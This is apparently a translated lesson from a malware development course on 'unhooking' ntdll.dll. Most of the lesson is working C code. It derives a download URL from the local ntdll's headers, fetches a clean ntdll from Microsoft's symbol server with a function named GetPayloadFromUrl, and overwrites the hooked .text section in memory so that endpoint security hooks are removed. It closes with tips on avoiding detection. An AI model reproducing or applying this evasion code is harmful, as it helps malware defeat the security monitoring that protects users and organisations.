模块 87 - NTDLL 取消挂钩 (Unhooking) - 来自 Web 服务器
恶意软件开发课程 - NTDLL 取消挂钩 (Unhooking) - 来自 Web 服务器
模块 87 - NTDLL 取消挂钩 (Unhooking) - 来自 Web 服务器#
NTDLL 取消挂钩 (Unhooking) - 来自 Web 服务器#
简介#
到目前为止,读者应该已经了解了几种取消 ntdll.dll 挂钩的方法。有人可能会问,为什么不直接在二进制文件中包含一个干净的 NTDLL 版本呢?这种方法的问题在于,为了支持多种 Windows 操作系统版本,你需要包含许多不同版本的 NTDLL。这会极大地增加 Payload 的体积,使其变得不可行。
本模块将演示一种替代方法:从 Web 服务器获取 NTDLL。该实现将首先检查当前机器上的 NTDLL 版本,然后从 Web 服务器获取相应的准确版本。这种方法的难点在于需要在 Web 服务器上托管所有版本的 NTDLL。因此,在本模块中,我们将利用 Winbindex ↗,这是一个包含几乎所有 ntdll.dll 版本的索引库。
💡 初学者提示:为什么要从网络下载?
类比理解: 你的车(操作系统)坏了一个零件(NTDLL 被挂钩)。
- 方法 1 (磁盘):你从后备箱里找备用件。
- 方法 2 (KnownDlls):你去家里的车库找备用件。
- 方法 3 (Web Server):你直接给原厂(Microsoft/Winbindex)打电话,报上你的车辆型号(时间戳和大小),让他们快递一个原装的崭新零件给你。
这种方法的好处是,你不需要随身携带所有型号的零件,只在需要的时候按需下载。
Winbindex#
Winbindex 是一个网站,编录了 Windows 操作系统中发现的许多文件版本。此外,它还包含一个搜索工具来查找所需的文件。下图是搜索 64 位版本 ntdll.dll ↗ 的输出结果。

确定 Winbindex 的 URL 格式#
由于必须以编程方式获取 ntdll.dll,因此了解下载链接的格式至关重要。分析以下 3 个 URL:
https://msdl.microsoft.com/download/symbols/ntdll.dll/494079D61ee000/ntdll.dllhttps://msdl.microsoft.com/download/symbols/ntdll.dll/2EEE8BDD1ee000/ntdll.dllhttps://msdl.microsoft.com/download/symbols/ntdll.dll/F2E8A5AB214000/ntdll.dll
请注意 URL 中只有一部分发生了变化。如下图所示。

链接 1 和 2 的 URL 中都包含 “1ee000”,换算成十进制是 2023424。查看第一个 NTDLL 模块的附加信息并搜索值 “2023424”,会发现它是 NTDLL 的 VirtualSize (虚拟大小)。


搜索字符串的第一部分 “494079D6”(十进制为 1228962262),显示这是该文件的 时间戳 (Timestamp)。

因此,URL 的第一部分(时间戳)源自 DLL 的 IMAGE_FILE_HEADER.TimeDateStamp 元素。第二部分(虚拟大小)源自 DLL 的 IMAGE_OPTIONAL_HEADER.SizeOfImage 元素。
Winbindex 的下载链接格式如下图所示。

RealNtdllFromServer 函数#
下一步是构建一个函数,为本地机器生成合适的下载 URL。这就是下面 ReadNtdllFromServer 函数的作用。
ReadNtdllFromServer 函数首先调用 FetchLocalNtdllBaseAddress 获取本地 ntdll.dll 映像的基址,以便读取其头部信息来构建下载 URL。这是使用 wsprintfW 完成的,它将固定部分的下载链接 https://msdl.microsoft.com/download/symbols/ntdll.dll/ 与 pImgNtHdrs->FileHeader.TimeDateStamp 和 pImgNtHdrs->OptionalHeader.SizeOfImage 的值结合起来。
完成后,该函数调用 GetPayloadFromUrl,该函数在 Payload Staging - Web Server 模块中介绍过。该函数负责从 Web 服务器下载 Payload 文件,但在本例中,它被用于从生成的链接下载 ntdll.dll。
#define FIXED_URL L"https://msdl.microsoft.com/download/symbols/ntdll.dll/"
// 获取本地 ntdll 基址的辅助函数
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
return pLdr->DllBase;
}
BOOL ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) {
PBYTE pNtdllModule = (PBYTE)FetchLocalNtdllBaseAddress();
PVOID pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL;
WCHAR szFullUrl [MAX_PATH] = { 0 };
// 1. 获取本地 ntdll 镜像的 DOS 头
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// 2. 获取本地 ntdll 镜像的 NT 头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// 3. 构建下载 URL
// 格式: BaseUrl + Timestamp + SizeOfImage + /ntdll.dll
wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dll", FIXED_URL, pImgNtHdrs->FileHeader.TimeDateStamp, pImgNtHdrs->OptionalHeader.SizeOfImage);
// 4. 使用 'GetPayloadFromUrl' 从 Web 服务器下载文件
if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))
return FALSE;
// 'sNtdllSize' 现在包含下载的 ntdll.dll 文件的大小
// 'pNtdllBuffer' 现在包含下载的 ntdll.dll 文件的基址
*ppNtdllBuf = pNtdllBuffer;
return TRUE;
}c回顾一下,GetPayloadFromUrl 有三个参数:下载 URL,以及两个分别表示下载文件基址和大小的输出参数。
// 从指定 URL 下载 Payload 到内存
BOOL GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT PSIZE_T sNtdllSize) {
BOOL bSTATE = TRUE;
HINTERNET hInternet = NULL,
hInternetFile = NULL;
DWORD dwBytesRead = NULL;
SIZE_T sSize = NULL; // 用于总大小计数
PBYTE pBytes = NULL, // 用于总堆缓冲区指针
pTmpBytes = NULL; // 用于临时缓冲区 (1024 字节)
// 1. 打开 Internet 会话句柄
hInternet = InternetOpenW(L"MalDevAcademy", NULL, NULL, NULL, NULL);
if (hInternet == NULL) {
printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// 2. 使用 URL 打开文件句柄
hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
if (hInternetFile == NULL) {
printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// 3. 分配 1024 字节的临时缓冲区
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
// 4. 循环读取数据
while (TRUE) {
// 读取 1024 字节到临时缓冲区
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// 累加总大小
sSize += dwBytesRead;
// 如果总缓冲区尚未分配,则根据读取的字节数进行分配
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
// 否则,重新分配 pBytes 以适应新的总大小 sSize
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
// 将临时缓冲区追加到总缓冲区的末尾
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
// 清理临时缓冲区
memset(pTmpBytes, '\0', dwBytesRead);
// 如果读取的字节数少于 1024,说明已到达文件末尾
if (dwBytesRead < 1024) {
break;
}
}
// 保存结果
*pNtdllBuffer = pBytes;
*sNtdllSize = sSize;
_EndOfFunction:
if (hInternet)
InternetCloseHandle(hInternet);
if (hInternetFile)
InternetCloseHandle(hInternetFile);
if (hInternet)
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0); // 关闭 Wininet 连接
if (pTmpBytes)
LocalFree(pTmpBytes);
return bSTATE;
}c整合代码#
现在内存中已经有了一个未挂钩的 ntdll.dll 版本,我们可以像之前一样利用 ReplaceNtdllTxtSection 函数来替换被挂钩的 ntdll.dll 的文本节。
📚 知识扩展:网络下载文件的对齐问题
注意,我们是通过把文件作为数据流下载到堆内存中的。这就像是从磁盘读取文件一样,它保持的是 Raw Data (原始数据) 的结构,而不是内存映射结构。
- 也就是说,它的节对齐通常是 1024 (0x400) 附近的
PointerToRawData。- 但是,由于我们是把它下载到一个连续的缓冲区中,我们不能直接假设它像
MapViewOfFile那样被展开了。下面的代码加入了一个智能判断逻辑:如果发现偏移计算不对(内容不匹配),它会尝试加一个偏移修正值
3072(4096 - 1024),试图去适配可能的对齐差异。这是一个防御性编程的技巧。
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// 获取 DOS 头
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// 获取 NT 头
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL, // 本地被挂钩的文本节基址
pRemoteNtdllTxt = NULL; // 未挂钩的文本节基址
SIZE_T sNtdllTxtSize = NULL; // 文本节大小
// 获取文本节
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
// 假设偏移是 1024 (Raw Offset)
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
//---------------------------------------------------------------------------------------------------------------------------
// 简单检查
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
// 智能验证:检查 pRemoteNtdllTxt 是否真的是文本节的开头
// 通过比较前 4 个字节 (ULONG) 是否与本地 .text 节相同来判断
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
// 如果不相同,可能是因为对齐方式不同。
// 原来假设是 1024,现在试着加 3072,凑成 4096 (Virtual Alignment)
(ULONG_PTR)pRemoteNtdllTxt += 3072;
// 再次检查
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}
//---------------------------------------------------------------------------------------------------------------------------
DWORD dwOldProtection = NULL;
// 修改权限为可写
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 复制新数据
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// 恢复权限
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c风险提示#
虽然这种 NTDLL 取消挂钩的方法乍一看很不错,但它存在风险,因为使用了 WinINet ↗ API。这些 API 用于与 HTTP/S 协议交互,但它们需要加载额外的 DLL 映像,如 wininet.dll、winhttp.dll、sechost.dll 以及许多其他导出这些 WinINet API 所需函数的 DLL。加载这些 DLL 是通过 LoadLibrary 和 LdrLoadDll 等很可能已经被挂钩的函数完成的,这会暴露实现的内部设计,增加被检测的风险。
演示#
- 从 Winbindex 下载
ntdll.dll文件。

- 待替换的被挂钩
ntdll.dll文本节。

- 错误计算文本节基址(对齐修正前)。

- 重新计算并修正基址。

- 成功替换文本节。
